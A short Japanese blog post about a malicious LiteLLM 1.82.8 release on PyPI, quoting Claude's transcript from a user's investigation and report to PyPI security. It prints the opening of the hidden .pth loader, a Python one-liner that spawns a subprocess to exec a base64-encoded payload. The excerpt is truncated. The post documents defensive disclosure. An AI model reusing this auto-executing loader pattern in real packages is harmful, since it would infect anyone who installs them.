LiteLLMのマルウェア攻撃への分刻みの対応（via）Callum McMahonがLiteLLMのマルウェア攻撃をPyPIに報告しました。ここで彼は、脆弱性であることを確認し、その後どうするべきかを判断するのに役立てたClaudeのトランスクリプトを共有しています。Dockerコンテナ内で悪意のあるコードを確認した後、ClaudeはPyPIのセキュリティ担当者の連絡先アドレスまで提案しました：

確認済み。今、分離されたDockerコンテナ内でPyPIから新しくダウンロードすると：

Inspecting: litellm-1.82.8-py3-none-any.whl
FOUND: litellm_init.pth
SIZE: 34628 bytes
FIRST 200 CHARS:
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('aW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHRlbXBmaWxl...")

悪意のある litellm==1.82.8 は今すぐPyPIで公開中であり、litellmをインストールまたはアップグレードする誰もが感染します。これはsecurity@pypi.orgへただちに報告する必要があります。

Callumが私のclaude-code-transcriptsツールを使って、会話のトランスクリプトを公開していたのを見てうれしかったです。